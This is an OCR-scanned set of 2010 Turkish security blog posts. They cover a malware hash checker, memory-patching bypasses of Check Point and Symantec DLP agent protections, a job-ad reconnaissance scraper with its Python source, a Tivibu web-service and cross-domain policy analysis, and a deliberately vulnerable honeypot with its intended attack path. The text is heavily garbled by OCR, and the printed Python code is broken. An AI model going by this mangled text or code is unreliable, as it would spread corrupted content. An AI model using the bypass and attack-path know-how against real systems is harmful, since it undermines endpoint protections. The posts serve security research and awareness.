Diger dillerdeki gibi data tipleri ile ugrasmiyorsunuz, "1" +"1"="11", 1+ 1 =2

Gerek giinliik islerde olsun gerek canim sikildiginda ve "ya sdyle bir program yazsam vatana millete hayirli olur mu acaba" diye
diistindiigiimde hemen ortaya bir program ¢ikmis oluyor. Sizde Python diinyasina adim atmak istiyorsaniz, Google'in kendi ¢aliganlarina
vermis oldugu Python derslerine ait videolari izlemenizi siddetle tavsiye ederim.

Iste yine bir can sikintis1 ve yukardaki diisiince ile python ile bir program yazsam ve bu program gitse Avira'nin sitesindeki tiim listelenen
zararl programlarin md5 hash bilgilerini toplasa ve bir dosyaya kayit etse, diskimde belirttigim herhangi bir dosyanin md5 hashini alsa
ve zararl icerige sahip olup olmadigini bu hash kiimesi ile tespit etse hatta daha da ileriye gitsem bir de aldig1 bu md5 hashi Virustotal
sitesine gonderse neticesini gosterse ve bir de Avira hash kiimesini update etme 6zelligine sahip olsa gercekten faydali bir eser olur mu
dedim ve ortaya icinde proxy destegide olan Malware Check Tool uygulamasi ¢ikiverdi.

Programin kullanimi oldukga basit, 3 tane komut ile ¢alistyor; online, offline ve update.

Update komutu (6rnek: malware check.py update) ile program zararli igerik tespiti i¢in kullandigi hash kiimesini Avira'nin sitesini
ziyaret ederek son siiriime giincelliyor.

Windows\system32\cmd.exe

Online komutu (6rnek: malware check.py online eicar.com) ile programi ¢alistirdiginiz taktirde belirtmis oldugunuz dosyanin md5
hashini Virustotal sitesine gondererek size sonucu gosteriyor.

G C:\Windows\system32\cmd.exe B

Slmple Malware Check Tool [http:/swuw.mertsarica. com]
[+] Online md5 check: eicar.com (44d8B612fea8a8f36d98291278ahh32f)
[+] Malware detected? [42-42]1 <180.88:>
[*] Malware names:

EICAR-ANTIVIRUS-TESTFILE!IK

EICAR_T Flle

Eicar-T Signature

HUTEST/EICRR ETF

EICAR Test_File

—Signature
Teststrlng Elcal

EICAR TES FILE

EICAR-Te

EICAR- HNTIUIRUS TESTFILE
A il

Virus.Eicar-Test—Signature
Viru: 08 /EICAR_Test_File
EICAR Test_file not_a_wirus?
EICAR-T i

EICAR-A

EICAR_T

EICAR

EICAR test_file

[+] For more information you may visit: http:/swww.virustotal.comsanalisis~ 275a8|
21hhfh6489e54d471899f7dh9d1663fc695ec2f92a2c4538aahf651fdﬂf 1269457454

C:s\UserssMertsDesktopsMalware Check_Tool>_

Offline komutu ile (6rnek: malware check.py offline virus.exe) ile programi ¢alistirdiginiz taktirde ise belirtmis oldugunuz dosyasnin
md5 hashini, lokal disk iizerindeki hash kiimesinde arayarak sonucunu size gosteriyor.
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v G\ Windows \system32\cmd.exe )

[+]1 Offline md5S chec u
[+] Loaded 2225 md5 hashes
[+] Malware detected?
[+#] Malware name: Mydoom.CD
[#*] Type: Worm
[#*] Severity: Medium
[*] Date discovered: 2183280086

C:v\UszersMert Desktop\Malware_Check_Tool>

Programa http proxy 6zelligide koydum, proxy ayarlari i¢in malware check.py dosyasinin i¢inde yer alan asagidaki kismi degistirmeniz
gerekmektedir.

proxy_info = {
'user' : 'test', # proxy username

'pass' : 'test', # proxy password
'host' : "127.0.0.1", # proxy host (leave it empty if no proxy is in use)
'port' : 8080 # proxy port

}

Bu haftalik benden bu kadar, Malware Check programina buradan ulasabilirsiniz, simdiden herkese iyi haftasonlari...

Self Defence

Source: https://www.mertsarica.com/self-defence/
By M.S on March 19th, 2010

=3,

Genelde ug noktada giivenli bir islemi gergeklestirmek veya kullanicinin giivenligini saglamak amactyla tasarlanmis programlar ile ilgili
dokiimanlar okudugumda veya inceleme sans1 buldugumda merakimi cezbeden ilk konu programin kendi giivenligini saglamada ne
kadar basarilt oldugu oluyor.

Gegtigimiz haftalarda Check Point Endpoint Security programina ait bir ajani (agent) inceleme firsati yakaladim. Kisaca Checkpoint
EPS programinin sahip oldugu baz1 giizel 6zellikleri siralamak gerekirse;

* Giivenlik duvari

* Anti-viriis/Anti-spyware

e Giivenli VPN

¢ Web ataklarina karsi koruma

¢ Disk sifreleme

¢ Ag erisim kontrolii (NAC)

Var olan ve geri kalan diger 6zellikler ile ilgili bilgi almak isterseniz Checkpoint'in web sayfasini ziyaret edebilirsiniz.

Oncelikle belirtmem gerekir ki bu ve benzer programlar1 yonetici yetkisi olmadan kapatmak veya kaldirmak pek miimkiin olmuyor
ancak tahminde edebileceginiz lizere kimi zaman bu ve benzer programlarin kullanicinin yonetici yetkisine sahip oldugu isletim sistemi
iizerinde ¢alismasi gerekebiliyor bu nedenle son kullanicinin giivenligini emanet ettiginiz bu marifetli programlardan kendisini tehditlere
kars1 korumasina 6nem vermesini, kolay bir sekilde devre dig1 birakilmamasini veya isletim sisteminden kaldiritlmamasini bekliyorsunuz.

Yine bir bos vaktimde sadece tek bir test senaryosu tlizerinden gitmek i¢in kollarimi sivadim ve program ekle/kaldirdan Checkpoint
EPS programini yonetici yetkisi ile igletim sisteminden kaldirmaya ¢aligtim ve bir sifre ekrani ile karsilastim. Her zamanki gibi acaba
debugger ile assembly seviyesinde kaldirma islemi ile iliskili programlarda bazi degisiklikler yapsam, hatali sifre ile programi kaldirabilir
miyim sorusuna yanit ararken kisa siire igerisinde cevabi buldum, evet.

Programi kaldirmaya g¢alistigimda kaldirma islemi ile iligkili programlar her seferinde yeni bastan yaratildigr i¢in disk {izerindeki
bu programlart degistirmemin bir ise yaramayacagmi anlamam pek uzun siirmedi. Ne yapmali ne yapmali derken disk tizerinde
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modifikasyon olmuyor ise bellekte (memory) olmali diyerek ise koyuldum ve python ile ufak bir program hazirladim ve basariyla
amacima ulagtim.

Sonug olarak art niyetli kisilerin/programlarin amacina ulagmalarini zorlastirma adina Checkpoint'in en azindan anti-debug tekniklerine
(Kobil firmasi gibi) programlarinda yer vermesi gerektigini, u¢ nokta giivenligine 6nem veren kurumlara ise her ne program kullanilirsa
kullanilsin, her ne 6énlem alinirsa alinsin kullanicilara yodnetici yetkisi verilmeden 6nce son bir defa daha diisliniilmesi gerektigini
hatirlatmak istiyorum.

Bildiginiz iizere yazilarimda hem {ireticilerin hemde miisterilerin mutsuz olmamalart adina ¢ok fazla teknik detay paylasmiyor sadece
tespit ettigim sorunu kisaca 6zetleyen bir video yayinliyorum, bu konu ile ilgili video asagidadir. Bir sonraki yazida goriismek dilegiyle
herkese keyifli seyirler ve iyi haftasonlar1 dilerim.

Kesif

Source: https://www.mertsarica.com/kesif/
By M.S on March 14th, 2010

=3,

Ethical hacking hakkinda bilgi sahibi olanlariniz bilirler, ethical hacking temel olarak 5 adimdan olusur;

» Kesif (Reconnaissance)

¢ Tarama (Scanning)

¢ Erisim saglama (Gaining access)

¢ Erisim koruma (Maintaining access)

* lzeri silme (Clearing tracks)
Kimilerine gore en 6nemli adim erigim kazanma adimi gibi goriinsede aslinda i¢lerinden en 6nemlisi kesiftir ¢linki ethical hackingde asil
amag¢ saldir1 tespit/6nleme sistemlerine yakalanmadan, alarm mekanizmalarini devreye sokmadan hedef sisteme erisim saglamak ve

erisimi korumaktir. Higbir akliselim kisinin hedef sistem ile ilgili kesfe ¢ikmadan 6nce direk hedefe metasploit db_autopwn (tiim istismar
araclarini hedefe yonlendirir) ile saldirmayacag diisiiniildiigiinde de kesif adiminin 6nemi ortaya ¢ikmis oluyor.

Kesif adimu iki alt adimdan olusur, pasif ve aktif.

* Aktif kesifte hedef sistem ile iletisim kurarak bilgi toplamaya ¢aligilir. (Ornek: ping)

* Pasif kesifte ise hedef sistem ile iletisim kurmadan bilgi toplamaya ¢aligilir. (Ornek: arama motorlart)

Artik sunucularda kullanilan uygulamalarin istismar edilme oraninin gectigimiz senelere kiyasla daha diisiik olmas1 ve istemciler
tizerinden gerceklestirilen saldirilarin sunuculara kiyasla daha yiiksek etkiye sahip olmasi (heleki istemcinin masaiistiinde diger
sunuculara ait sifreler bir dokiimanda sifresiz olarak tutuluyor ise) istemci tarafindaki uygulamalar1 istismar etmeye yonelik
saldirilar arttiriyor. Hatirlarsaniz gegtigimiz aylarda Google, Adobe ve bazi biiyiik firmalar Aurora (Internet explorer sifir giin (0 day)
saldirisi) saldirisina maruz kalmiglardi.

Bu durumda kurum olarak izlenmesi gereken politikalarin basinda kurum igerisinde kullanilan yazilimlarin (6zellikle ips, antiviriis)
disariya sizdirilmamasi geliyor. Ornegin kurumunuza gerceklestirilecek hedeflenmis bir saldirt hazirhginda olan kétii niyetli bir
kisinin amacr ilgili kisinin e-posta adresine trojan gondermek ise yapacagi ilk is antiviriise yakalanmamasini saglamak olacaktir. 20
farkli antiviris motoru ile ugrasmak yerine kurumunuzda kullanilan antiviriis yazilimini hangisi oldugunu biliyor ise bu yazilima
odaklanacaktir.

Hedeflenmis bir saldirtya maruz kalma ihtimalinin diisiik oldugunu diisiinsenizde yerli hacking forumlarina g6z attiinizda yiizlerce
kisinin trojanlarin, keyloggerlarin antiviriis yazilimlarina yakalanmamalar1 adina hummali ¢aligmalara devam ettigini ve bu trojanlarin
ve keyloggerlarin 300-1000 TL arasinda alict buldugunu gérebilirsiniz.

Kisa bir bilgilendirmeden sonra neden bu yaziy1 yazdigima gelebiliriz. Gegtigimiz giinlerde bir is ilan1 6rnegine ihtiyacim vardi ve is
ilan1 sitelerinde CISSP anahtar kelimesi ile aramalar yapiyordum. Bir arama sonucunda bir firmann is ilaninda kullandig1 antiviriis
yazilimimdan IPS teknolojisine kadar gizlenmesi gereken tiim bilgileri paylastigint gérdiim.
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/= cissp lg ilanlari - i5 ilam arama - Secretc.com - I§ ve Eleman Aramamn En Giivenilir Yolu - Windows Internet Explorer provide g@g

(; v G http:ffwew, secretey, commodulfts_lankari?fo%SBkelime i SD=Ccisspad % SBoge%.Sh=208gonder , x=0tgonder  y=0 o |4 || X 2

Ble Edt Yew Favortes Tools Help

d » »
0| & cissp I lankan - ig dan arama - Secretcy.com - Ig ve ELL., Bk m v . Page ~ () Tools ~
~
Se¢me ve Yerlestirme Merkezi
Kiasik Listeleme  petayn Listeleme Tarihe gore sirala v (20 ™ 111
_ Sana Bagvur  Arkadagima Gonder Facebook'ta Paylag
Bilgi Aly Ve Guvenhigi Uzman [ Bugun
Istanbul Avrupa
11
anTa ] 200
Firmanin Tum llanianni Gérmek igin Tikdayniz i stanbul Avrupa
Alinacak Persone
apis
Bilgi A ve Guvenligi Uzman [N
Igin Tammi :
llana Bagvur  Arkadagima Gonder Facebook'ta Paylas
-
Done & Internet # 100% -

Hemen aklima Cinli general Sun Tzu'nun séyledigi o meshur s6z aklima geldi
‘ To know your Enemy, you must become your Enemy

Bu sozden yola ¢ikarak acaba ufak bir program yardimi ile anahtar kelimeler ile firmalar1 eslestirerek firmalar hakkinda ne kadar
bilgi edinebilirim sorusuna yanit aramaya karar verdim ve bilgi edinmek i¢in 6rnek olarak SecretCV ilan sitesini kullanan bir program
hazirladim.

\Windows\system32\cmd.exe

lan Arama Uygulamasi vi.@

[+] Anahtar kelime: trend micro

[+]1 Anahtar kelime ile iliskili firmalar:

[#] Firma:

[#%] [lan: http://uww.secretcv.comsilan/| 5

[#x%] Ilanda tespit edilen potansiyel lireticisyazilim hilgileri:
Windows
Iss

[#] Firma:

[#] Firma:

[#%] ilan: http://wwu.secretcv.coms/ilan/]
1

[#] ila;c_la tespit edilen potansiyel lireticisyazilim bhilgileri:
ix
Iss
Checkpoint
Windows
Trend micro
Wehsense

[#] Firma:

C:s\UszersMert Desktop>
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Ben yapiyorsam diigmanim daha da iyisini yapardan yola ¢ikarsak firmalarin kullandig1 yazilimlari ilan siteleri iizerinden tespit etmenin
kolay oldugunu bunun disinda firmalarin kurum igerisinde kalmasi gereken yazilim/iiretici bilgilerini farkindalik eksikligi nedeniyle
ilanlara tasidiklarmi gérebiliyoruz. Ozetle verdigimiz is ilanlarina, yazigsmalara dikkat edelim diyerek bu haftaki yazima burada son
veriyorum.

POC programi buradan veya asagidan temin edebilirsiniz.

# -*- coding: utf-8 -*-

# #l an Arama Uygul anasi

# 09. 03. 2010 23:15

# http://ww. nertsarica.com

i mport urllib2
import re

i nport os

i mport sys

os. system("cls")

print " y
print u"\t#l an Arama Uygul amas# v1.0"

print " y
if len(sys.argv) < 2:

print "\ nKul l anim python ilan_bul.py [aranacak keling]\n"

sys.exit (1)

keyword ="' '.join(sys.argv[1l:])

print "[+] Anahtar keline: %\n" % keyword

keyword = keyword. repl ace(" ", "+")

url ="http://ww. secretcv.coninmodul /is_ilanlari?f[keline]=" + keyword + "&gonder =%CAYBOLAN+ARA&f [ oge] =1000"

response = urllib2. url open(url)
htm = response.read()

ilanlar = re.findall(r"(http://wwA\.secretcv\.conlilan/\S+\d+\.htm)", htm)
firmalar = re.findall (r"(title=\"(\S).*? firma)", htm)

if len(firmalar) > O:

print u"[+] Anahtar keline ile ili#kili firmalar:"

i =0

m= 0

for firma in firmalar:

if (i %2) == 0:

print "\n[*] Firma: %" % (unicode(str(firma[O][7:1len(firm)-8]), 'utf-8"))
url =ilanlar[m

response = urllib2.urlopen(url)

htmM = response. read()

sistem = re.findall (" (debian| pi x| surf control|surfcontrol|checkpoi nt|ncafee|redhat|solaris|" +
"ai x| sl ackwar e| wi ndows| ci sco| trend mi cro|trendm cro| symant ec| norton| apache|iis|" +

"j uni per | webspher e| panda| kasper sky| m crosoft sql | mssql | or acl e| sybase| db2| fortigate|" +
"nod32| sophos| snort | i ss| ubunt u| vimwar e| bi ndvi ew bi nd| ar csi ght | check poi nt | websense| " +
"veritas| net backup| net backup| suse| cent os| mandr ake| spam assassi n| spamassassi n| gmai | | " +
"acroni s| exchange| squi d| postfi x| ossec| gmai | )"

, html . lower())

sistem = |list(set(sistem)

if len(sisten) > O:

print u"[**] #l an: %" %url

print u"[**] #landa tespit edilen potansiyel Uretici/yaz#l #mbilgileri:"

for bilgi in sistem

print "\t" + bilgi.capitalize()

konut = "start " + url

0s. syst em( konut )

i =i +1

m=m+ 2

el se:

print u"[+] Anahtar kelime ile ili#kili firma bul unanad#..."

Print "\M------ooo oo "
print "\t\thttp://ww.nertsarica.cont

Tivibu

Source: https://www.mertsarica.com/tivibu/
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By M.S on March 7th, 2010

=3,

Cocukken meraktan alinan her oyuncagin i¢ini agar bakarmigim ne var ne yok diye. Aradan yillar gegmesine ragmen huylu huyundan
vazgegmedi sadece oyuncak arabalarin, helikopterlerin yerini programlar aldi :)

Gegtigimiz hafta bir web sitesi gezerken TTNet'in Tivibu reklamini gordiim. Nedir bu Tivibu diyecek olursaniz internet baglantist olan
her yerden TV izlemenize imkan tantyan bir program. Yine bir can sikintisi, yine bir merak ile programi kurup incelemeye karar verdim.
Bu arada bu hizmetten faydalanabilmek ve programi kullanabilmek i¢in ayda 1 TL 6demeniz gerekiyor. Sadece nasil calistigini merak
ettigim i¢in iiye olmak yerine programi kurup incelemeyi tercih ettim.

Kisa siiren bir incelemeden sonra Tivibu programinin Microsoft Silverlight kullandigin1 farkettim. Silverlight ile daha 6nce pek hasir
nesir olmadigim i¢in Tivibu sunucusu ile Silverlight client arasindaki sifreli trafigi (SSL) Fiddler programui ile incelemeye karar verdim
ancak bir tiirlii araya giremedim.

Laz olmasamda laz damarim tuttu ve biraz kafa patlattiktan sonra sertifikalarin uygulamanin i¢ine gémiilii oldugunu, bu nedenle araya
giremedigimi farkettim. Uygulama igerisine gdmiilii olan sertifikalar1 degistirmeye tisendigim i¢in Hex editor ile programa gz atmaya
karar verdim.

Yine kisa siiren bir inceleme sonrasinda Tivibu programi igerisinden gergeklestirilen isteklerin WCFweb servisine gittigini farkettim.

7 MiddlewareServices Service - Windows Internet Explorer 1) 18] x|
(€] v [e Honek.comuty | o %o B -
Fle Edt  Wew Favortes Tooks Help

Favorites = = & Free Hotmal B

| | @ tetpsstimm. bty tiret |:|:|n___| & MdewareServices Service X | | 2 - b~ Page~ Swety~ Tods~ B~
® Frd: [ Previous  Next ¥ Options ~

-
You have created a service.
To test this service, you will need to create a client and use it to call the service. can do this g the svcutil.exe tool from the command line with the following syntax
svcutil.exe http://swtOweb005.webtv.local/MiddlevareServices.svc/mex
This will generate a configuration file and a code file that contains the dlient class. Add the two files to your dlient application and use the generated client class to call the Service. For example
c#
static void Main()
clieat = new (§]
client.Close():
Visual Basic
Class Te
Shared Sub Main()
t As ewarese 1ie = Hew ! - 5e ()
& Internet * | H100% =

Isin icinde WCF olunca ?wsdl parametresi ile tanimli web servislerine ait bilgileri gérmeniz her zaman miimkiin olamayabiliyor bu
nedenle Microsoft'un bu is i¢in gelistirmis oldugu svcutil uygulamasi hemen imdadima yetisti.

C:\Documents and Settings“Administrator:\Desktop Sucltil>svcutil.exe /t:metadata

http:/smu.webtu.ttnet.com.tr/MiddlevareServices . suc
Microsoft <{R> Service Model Metadata Tool

[Microsoft (B> Windows (R> Communication Foundation.
Copyright <{c> Microsoft Corporation.

Uersion 3.8.45686.6481

All rights reserved.

Attempting to download metadata from *http:/smu.webtuv.ttnet.com.tr/MiddlevareSer

vices.svc’ using WS—Metadata Exchange or DISCO.
Saving downloaded metadata file
C:\Documen and Settings“Admi
C:\Documen
C:\Documen
B3.18.8erial
C:\Documents

zation.xsd

C:\Documents

ratorsDesktopsSucltilstempuri.
tratorsDesktoprSvcltilstempu
SAdministratorsDesktopsSucltilsschemas.

and Settings“AdministratorsDesktop~SucltilvArgelaMiddlevare.xsd

and Settings“Administrator:Desktop Svcltil>_
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Bu wsdl dosyasindan faydalanarak kendi Tivibu programini yazabilir misiniz sorusunun cevabii ve araya neden girilmesini
istemediklerinin nedenini bulmayz sizlere birakiyorum :)

Isin icinde Silverlight oldu mu, cross-domain giivenlik politikalar1 bir sekilde root klasorii altinda yer almak zorunda diye diisiindiim,
oltami salladim veeee bingo, Cross domain policy ve Client access policy karsima ¢ikiverdi. Bu politikalarin asil amaci CSRF (cross-
site request forgery) saldirilarini dnlemektedir. Cogunlukla program/uygulama (flash/flex/silverlight) gelistiricileri bu politikalarin ne
ise yaradiklarin1 pek bilmedikleri i¢in domain ad1 belirtmeden wildcardi koyuverirler ve ortaya CSRF giivenlik zafiyeti ¢ikar. Program
tarafindan veri ¢ekilecek alan adlarma bu politikalarda yer vermez ve wildcard (*) kullanirsaniz art niyetli kisiler CSRF saldirist ile
program tarafindan kullanilan kullanic bilgilerini ¢alabilirler.

Daha anlagilabilir olmasi adina 6rnek bir senaryo iizerinden gidecek olursak;

1- Sefil kullanict Tivibu uygulamasina giris yapiyor.
2- Art niyetli bir kisi Tivibu sunucusu ile haberlesen Silverlight uygulamasini kendi sitesine koyarak sefil kullanicinin sayfasini ziyaret
etmesini bir sekilde sagliyor. (E-posta, MSN, Facebook)

3- Sefil kullanicinin Silverlight uygulamas: art niyetli kisinin sayfasinda yer alan Silverlight uygulamasi {izerinden Tivibu sunucusu ile
haberlesiyor ve art niyetli kisi sefil kullanicinin verilerini ¢alabiliyor.

Kendi gelistirdiginiz (flash/flex/silverlight) uygulamalarda/programlarda cross-domain giivenlik politikalarina dikkat etmenizi Onerir,
bir sonraki yazida goriismek dilegiyle herkese iyi haftasonlar1 dilerim...

Penetrasyon Testi icin Firma Sec¢imi

Source: https://www.mertsarica.com/penetrasyon-testi-icin-firma-secimi/
By M.S on February 26th, 2010

=3

Teknik yazilarin yaninda birazda is hayatina, giinliik islere dair mesajlarda yazayimki verdigim so6zii yerine getirmis olayim dedim
bu nedenle bu seferki yazimda penetrasyon testi hizmeti almadan 6nce firma segmek i¢in izledigimiz yolu sizlerle paylasirsam
faydali olabilecegini diisiindiim. Malum alacaginiz hizmet penetrasyon testi olunca testi gergeklestiren kisinin veya ekibin sertifikalari,
referanslari, firmanin biiyiikligii bir yana teknik olarak konuya hakimiyeti, uzmanligi olduk¢a 6nemli bu nedenle dogru firmay:
segmeden 6nce mutlaka honeypot kurar ve firmalarin honeypot iizerinde penetrasyon testi ger¢eklestirmelerini talep ederiz.

Gegtigimiz aylarda dort yerli bir yabanci firma ile goriistiim. Agirligin yerli firmalar olmasinin sebebi tabiiki fiyat ve performans. Yabanci
firmalar, diinyanin dort bir yaninda bu hizmeti ger¢eklestirmeleri nedeniyle hakli olarak genis danisman kadrolarini, bilgi birikimlerinin
fazla olmasini ve isimlerini pazarladiklari igin yerli firmalara kiyasla biraz daha pahaliya bu hizmeti veriyorlar ancak giiniin sonunda
rapora bakildiginda yerli firmalar ile aralarinda ¢okta fark olmadigint gérebiliyorsunuz.

Honeypot hazirlama kismina gelecek olursak internette bunun i¢in fazla sayida kaynak bulunuyor. Google'da ufak bir arastirma
yaptiginizda CTF (capture the flag) i¢in hazirlanmis bir ¢ok sanal makina imaji ile karsilagabilirsiniz. Bir tanesini alarak ihtiyaglariniz
dogrultusunda degistirerek giizel bir degerlendirme tahtasi olusturabilirsiniz. Bende aynen bu sekilde bir imaj buldum ve {izerini 6zenle
secilmig giivenlik zafiyetleri ile tamamladim.

Honeypot'un testi gergeklestiren firmalar tarafindan ele gegirilmesi i¢in kafamda olusturdugum yol, 6ncelikle web uygulamasinin hack
edilmesi, sistem iizerinde uzaktan komut caligtirilarak sisteme netcat ve benzeri araglar ile baglanti kurulmasi ve daha sonra sistem
iizerinde SUID bit'ine sahip olan ve iizerinde format string ve buffer overflow giivenlik zafiyeti bulunan uygulamanin istismar edilerek
sunucunun ele gegirilmesi olmustu. Buffer overflow ve Format String giivenlik zafiyetlerinin istismar edilebilmesi i¢in sistem tizerindeki
on tanimli korumalar1 kapatmayida (Execshield, ASLR vs.) ihmal etmedim.

Oncelikle Honeypot'un isletim sisteminin (Fedora) yama seviyesini local istismar araglari ile istismar edilemeyecek seviyeye getirdim.
Sanal makina imajinin igerisinde md5 ile hashlenmis yonetici sifresinin disaridan goriintiilenmesine olanak saglayan giivenlik zafiyetine
sahip NanoCMS web uygulamas1 ve bunun disinda bir de eski siiriim Drupal portal bulunuyordu. NanoCMS, Drupal ve sistem iizerinde
kurulu olan Mysq]l sifrelerini test1234, deneme1234 ve 1q2w3e4r gibi oldukca zayif segmeye 6zen gdsterdim. Bunun diginda internetten
C programlama dili ile kodlanmig bir echoserv daemonu buldum (echoserv dedigimiz servise telnet ¢ektiginizde ne girdi gonderirseniz
¢ikt1 olarak onu aliyorsunuz) ve FreeBSD telnet sunucusu gibi kendisini 65530. portta sunmasini sagladim. Sadece bununla kalmayarak
sprintf() gibi tehlikeli fonksiyonlar kullanarak format string ve buffer overflow giivenlik zafiyetlerini itinayla olusturdum :)

Kisaca en kolay yoldan sunucuyu ele gecirmek i¢in izlenecek yol NanoCMS yonetici sifresinin hash hali alinacak, herhangi bir md5
¢oziicii ile ¢oziilecek, NanoCMS yonetici paneline uzaktan komut ¢aligtirmaya imkan taniyacak php kodu eklenecek ve daha sonrasinda
apache yetkisi ile uzaktan komut calistirilabilecekti. Daha sonra netstat ciktis1 ve crontab dosyasi incelenerek sistemde echoserv
uygulamasinin hangi portta hangi klasérde hangi yetki ile ¢alistig1 tespit edilecek ve istismar edilerek root yetkisi alinabilecekti.

Hazirliklarimi tamamladiktan sonra her firmaya 48 saat siire vererek penetrasyon testlerini gergeklestirmelerini ve tespit ettikleri
giivenlik zafiyetlerini iceren hem teknik hem ydnetsel raporu en ge¢ bir hafta icerisinde géndermelerini talep ettim.
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Penetrasyon Testi
Bilgilendirme Dokiimani

¥ Hedef sisteme ait baglant: adresi size e-posta yolu ile génderilmistir.

¥ Penetrasyon testinizi gerceklestirmek icin 48 saatiniz (09:00 AM - 09:00 AM) bulunmaktadir.

~" Gergeklestireceginiz penetrasyon testi ile sistem dzerinde wvar olan fmim bulgulan
raporlamaniz ve miimkiin olanlan istismar etmeniz beklenmektedir. Kaynak kodu dizeyinden

kadar raporl aginz ve istismar edeceginiz tim bulgular biiyik dnem

arz etmektedir.

+  root kasdri altinda yer alan secretcode txt igerisindeki metni rapor ile birlikte tarafimiza
iletmeniz durumunda, testinize ait degerlendirme sirecine katkis olumlu yénde olacaktir.

+  Penetrasyon testini tamamlandiktan sonra raporu en geg 1 hafta igerisinde tarafimiza
iletmeniz gerekmektedir.

+ Gergeklestirdiginiz penetrasyon testine ait hem yénetsel hemde teknik olmak dzere 2 adet
rapor hazirlamaniz gerekmektedir. Teknik raporda bulgular ile ilgili detayh agiklamalara,
proof-of-concept kod ve ekran gorintillerine yer verilmesi degerlendirme agisindan oldukga
onemlidir.

+ 48 saatlik zaman diliminiz dolduktan sonra sistem dewre diy brakilacaktr bu nedenle
raporlama igin ihtiyag duyacafimiz tiim kontrolleri size verilen 48 saatlik zaman dilimi
icerisinde gergeklestirmeniz gerekmektedir.

" Testler ilecek kesinti olmasi durumunda kaybedilen siire

talep etmeniz durumunda size ilave sire clarak verilecektir.

Testler esnasinda agagidaki maddelerde yer alan eylemleri gergeklestirmemeniz Gnemle rica

olunur.

* ARF poison saldinsi
*  DDOS/DOS saldins

Penetrasyon testini size belirtilen baglangig ve bitis siireleri icerisinde
gerceklestirmeniz dnemle rica olunur, aksi durumda test gegersiz
sayilacaktir.

Raporlari inceledigimde yerli firmalardan bir tanesinin digerlerinden daha iyi oldugu, diger ikisinin ayni seviyede oldugu, bir tanesinin
ise yeterli seviyede olmadigi ortaya ¢ikti. Beni asil sasirtan ise yabanci firmanin yerli firmalar kadar basarili olamasmaiydi sebebi ise
Honeypot tizerinde hem ag hem web uygulamasina yonelik penetrasyon testi gerceklestirmelerini talep etmemize ragmen sadece web
uygulama penetrasyon testi ger¢eklestirmis olmalartydi.

Tim firmalar testlerini gergeklestirdikten sonra kendilerini degerlendirebilmeleri i¢in daha dnce hazirlamig oldugum ufak cevap
anahtarin kendileri ile paylastim.

Sonug olarak yazinin baginda da belirttigim gibi firmalarin hizmetlerine dair sizle paylastiklar1 6rnek raporlar, referanslar kagit {izerinde
dort dortliik olabilir ancak hazirlamis oldugunuz honeypot iizerinde gergeklestirecekleri ve size sunacaklari rapor sizin i¢in paha bi¢ilmez
olabilir...

Dost Aci Séoyler...

Source: https://www.mertsarica.com/symantec-dlp-data-loss-prevention/
By M.S on February 16th, 2010

e

Yaklasik 1 hafta dnce Netsec e-posta listesine kayitl bir iiye Symantec DLP {iriiniinde, admin yetkisi ile servislerin kapatilabildigini
gdsteren bir video adresi paylasti ve tartismalar bagladi. Oncelikle bu {iyenin bagka bir iireticinin (Websense) dagiticist olmasi nedeniyle
bu video adresini paylasmasi elestirilerin ilk hedefi oldu. Daha sonra bu durumun windows'un bir zafiyeti oldugunu sdyleyenler oldu,
videonun Symantec'i karalama amaciyla bu iiye tarafindan gekildigini ve yaymlandigini sdyleyenler oldu, system yetkisine sahip
kullanici lokalde ¢aligan her programi zaten kapatilabilir diyenler oldu ve tartigmalar boyle siiriip gitti.

Konuya etik agidan bakilacak olursa bu sektdrde yer alan bireyler olarak bilisim giivenligine 6nem veriyor, beyaz sapkamiz ile is yapiyor
ve her kim olursa olsun, X iireticisinin veya Y ireticisinin miisteriside olsa amacimiz masum insanlarin art niyetli kisilerce istismar
edilmesini engellemek, iireticileri giivenli tirlinler gelistirmeye tesvik etmek ise bu veya benzer videolar1 yayinlamadan dnce biraz olsun
bu durumun ortaya ¢ikartacagi sorunlari ve madur edecegi insanlarida diigiinmek zorundayiz. X iiriiniinde bir giivenlik agig1 var ise
bunu bildirmek ile bu giivenlik agigin1 istismar eden araci programlamak ve yaymlamak arasinda biiyiik fark oldugunu diistiniiyorum bu
nedenle bende ¢ogu zaman yayinladigim videolarda buna 6zen gosteriyor, iireticiyi zor durumda birakmadan insanlar1 bilgilendirmeye
¢alistyorum. Benim diisiinceme gore hem responsible disclosure adina hem de tireticiler arasindaki gayri resmi centilmenlik anlasmalar1
kapsaminda bu videonun genel ile paylasilmadan 6nce Symantec yetkilileri ile paylasiimaliydi.

Konuya miisteri/potansiyel miisteri agisindan bakilacak olursa eminimki hi¢bir kurum, kritik bilgilerinin disariya sizdirilmamasi igin
satin aldig1 bir iiriiniin basit bir sekilde devre dis1 birakilmasini istemez. Tartigma yaratan video ile Symantec DLP {irliniiniin rakipleri
karsisinda process/servis giivenligi agisindan geride kaldigi inkar edilemez bir gercek. Her ne kadar servisleri kapatmak i¢in admin
yetkisine ihtiya¢ duyulsada 6rnegin DLP agent'inin {izerinde ¢alistig1 isletim sistemindeki yamalarda bir eksiklik veya system yetkisi
ile calisan bir yazilimdaki bir zafiyetin istismar edilmesi sonrasinda isletim sistemi {izerinde system yetkisi kolayca elde edilebilecegi
icin bu tiir ¢oziimlerin kolay bir sekilde devre dis1 birakilmasinin pek kabul edilebilir oldugunu diisiinmiiyorum. Eger aksi durum s6z
konusu olsaydi eminimki ne rakipler ne de antivirus yazilimlarinda servislerin/processlerin kolayca kapatilmamasi i¢in ek kontroller
uygulanmaz ve 6nlemler alinmazdi.
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Tartigmalar1 ve yorumlar1 bir kenara birakacak olursak, gectigimiz aksam can sikintisindan Symantec DLP iiriinii ile birlikte gelen
yonetici kilavuzunu okuyordum ve DLP ydnetim araglarindan biri olan process_shutdown programu ile ilgili boliim dikkatimi ¢ekti. Bu
program ile DLP servislerini kapatabiliyorsunuz ancak bunun i¢in DLP agent'inin kullandig1 dogru sifreyi bilmeniz gerekiyor. Malum
her zamanki can sikintisi ve merak ile process_shutdown yazilimini assembly seviyesinde incelemeye bagladim ve dogru sifre girmeden
servisi kapatabilmenin yollarini aramaya koyuldum ve ¢ok gegmeden bunu basarabildim.

Son s6z olarak Symantec DLP ¢6ziimiiniin servis/process giivenligi konusunda iyilestirmeye agik oldugu hem diger video ile hem de
yaptigim bu ufak inceleme ile ortaya ¢ikiyor. Umarim Symantec en kisa siire i¢erisinde iiriin iizerinde gerekli iyilestirmeleri yaparak bu
iirtinii servis/process giivenligi konusunda rakipleri ile ayn1 seviyeye getirir ve bu tartigmalar son bulur.

